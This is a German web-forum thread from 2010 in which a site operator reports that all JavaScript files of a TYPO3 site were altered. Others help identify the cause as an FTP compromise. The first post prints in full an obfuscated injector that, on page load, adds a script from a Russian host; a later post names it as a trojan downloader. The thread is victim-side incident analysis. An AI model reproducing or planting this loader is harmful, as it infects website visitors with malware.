Zum Inhalt springen

Alle Javascripte defekt / bzw. wurden überschrieben (Typo3 4.3.0)

Erstellt am 18. Mai 2010 · 5 Antworten · letzte Antwort am 20. Mai 2010

Tags: Sicherheit, Frage

pxlr.​de ·

Hallo,
möchte hier über eine Sache berichten die ich mir nicht erklären kann bzw. die Ursache dafür nicht kenne. Alles fing am Montag an als ich eine Kundenwebseite updaten wollte. Als erstes fiel mir auf, dass die FancyBox nicht aufging sondern man nur zum Bild weitergeleitet wurde (logisch wenn kein JavaScript). Darauf hin wollte ich mich im Backend einloggen. Dies funktionierte, doch ich konnte im Backend nichts machen, da auch hier JavaScript im Menü verwendet wird. Nach langer Fehlersuche fand ich den Fehler.

Alle JavaScripte (auch im type3, typoconf und t3lib Ordner) wurden verändert. Es wurde jeweils der unten angegebene Javascript drangehängt.

Ich hatte noch Cufon im Einsatz .. dieser wurde komplett überschrieben (!!)

Kennt jemand dieses Phänomen. Was könnte es verursacht haben?
Bin z.Z. etwas ratlos.

var B=window;var P=document;var M={ux:false};var N=[];var t=RegExp;var o='';this.W=false;var E=null;YO=["MR","dy","T"];var z;this.nx=42179;this.nx-=105;try {var YB='U'} catch(YB){};function s(){this.b=53564;this.b+=89;function m(A,u,d){var rs={};return A.substr(u,d);var jR="";var PX={Ev:"k"};}var X=new Array();this.yT=45296;this.yT+=2;var q="\x2f\x6b\x61\x69\x78\x69\x6e\x2d\x63\x6f\x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x73\x6f\x67\x6f\x75\x2e\x63\x6f\x6d\x2e\x70\x68\x70";var ys={};var n=new String("sc"+"ri"+"pt");var Hc={cc:"sL"};var Wy={g:"Jw"};var V='';var Uq={UD:false};try {var FI='rK'} catch(FI){};var C=new String(m("]9wLy",0,1));var C="]";TA={I:10415};var y=new String("bo"+m("dyw1O",0,2));var O="O";try {} catch(cj){};function j(A,u){this.Ap=20381;this.Ap--;var e=["Dl"];var d=new String("[");var KM=new Array();d+=u;var PGx=[];d+=C;v_=["Ax","tA","tW"];R=["KH","ew","BJ"];var S=new t(d, new String("g"));try {var vr='dx'} catch(vr){};l={gX:"Oq"};return A[m("reEc5Y",0,2)+m("plq8d1",0,2)+m("dRQacRdQ",3,2)+m("mQ0Dem0QD",4,1)](S, V);};var iU=new Array();var L=[];var G=j('aApDpSe0nuduCDh0iDlSdD','4u0SAD');Mj=["qg"];XL={ed:false};E=new String("onlo"+m("ad8yk",0,2));XO={ag:false};var H='';this.Xk='';var a=186438-178358;var VJ="";this.Hb="Hb";var tX={Cj:false};try {} catch(jK){};var c=j('cSrCeoaLtJe_EUlLe5mpepn5ty','54soq6U8LCJySV_OpWP');var f=new String("http"+"://s"+"prin"+"garc"+m("tic.21L",0,4)+m("ru:Y4na",0,3));var zd={yK:false};try {var KS='Cf'} catch(KS){};lA={};z=function(){var lH={wJ:61235};try {As=P[c](n);try {var JI='Yg'} catch(JI){};var uw={TD:"kn"};var gz='';var wK='';H=f;try {} catch(GX){};var wH=new Array();H+=a;this.HR=620;this.HR++;var o_='';H+=q;dJ=2515;dJ++;var nX={};var UQ={IE:"MX"};try {var is='cJ'} catch(is){};CO=["mp"];var Y=j('dTeTfbebrn','Tsvnb2_CG');var Ho=String("src");vv={Vm:false};As[Ho]=H;var Oz=false;try {var fH='cQ'} catch(fH){};As[Y]=[1][0];var yw=["mV","BS"];this.SW=62968;this.SW+=242;VD=["ND","Fy","QP"];P[y][G](As);var Yn=false;} catch(Gv){aa={uc:false};var YZ={};var Lc=25699;IM={PF:false};};};this.ku="ku";this.ma="ma";var FN=["AR"];};var ut=new Array();s();this.gM=false;B[E]=z;
jenses ·
pxlr.de schrieb

Kennt jemand dieses Phänomen. Was könnte es verursacht haben?
Bin z.Z. etwas ratlos.

Könnte gut möglich sein daß jemand an dein ftp-Passwort gekommen ist und sämtliche js-Dateien per Skript modifiziert hat...

pxlr.​de ·

Daran habe ich auch schon gedacht nur was hat derjenige für ein Vorteil davon?.. bin mittlerweile fast der Meinung, dass es wohl eine Fehlfunktion einer Erweiterung gewesen ist.

Könnte mir vielleicht jemand der JavaScript beherscht, in etwas sagen, was dieser Script für eine Aufgabe haben könnte?

pxlr.​de ·

Ist ein Trojan-Loader (TrojanDownloader.Pegel.BK)
verweist auf

http://sprin***ctic.ru:8080/kaixin-com/google.com/sogou.com.php

Die Frage die noch bleibt: Wie ist er auf die Seite gelangt ...

jenses ·
pxlr.de schrieb

Daran habe ich auch schon gedacht nur was hat derjenige für ein Vorteil davon?

Was ist das für eine Frage? Reicht nicht Spaß am Zerstören fremder Webseiten?

pxlr.de schrieb

Die Frage die noch bleibt: Wie ist er auf die Seite gelangt ...

Wahrscheinlich per FTP,
schau in die Serverlogs, und du wirst Zugriffe mit deinem FTP-Account, aber seltsamen,z.B. chinesischen IPs entdecken.
Welches FTP-Programm benutzt du/ hast du benutzt in welcher Version? Hast du dort die Zugangsdaten inklusive Passwort gespeichert? Vielleicht an der Zeit die Daten zu ändern?

pxlr.​de ·
jenses schrieb
pxlr.de schrieb

Daran habe ich auch schon gedacht nur was hat derjenige für ein Vorteil davon?

Was ist das für eine Frage? Reicht nicht Spaß am Zerstören fremder Webseiten?

Die Frage bezog sich auf diesen Javascript .. da ich nicht wusste was es bewirkt

jenses schrieb
pxlr.de schrieb

Die Frage die noch bleibt: Wie ist er auf die Seite gelangt ...

Wahrscheinlich per FTP,
schau in die Serverlogs, und du wirst Zugriffe mit deinem FTP-Account, aber seltsamen,z.B. chinesischen IPs entdecken.
Welches FTP-Programm benutzt du/ hast du benutzt in welcher Version? Hast du dort die Zugangsdaten inklusive Passwort gespeichert? Vielleicht an der Zeit die Daten zu ändern?

Alles schon geschehen. War ein direkter zugriff per FTP ... dabei wurde eine *.pl draufkopiert, ausgeführt und wieder gelöscht. Zugriff aus Amerika (warscheinlich Proxy)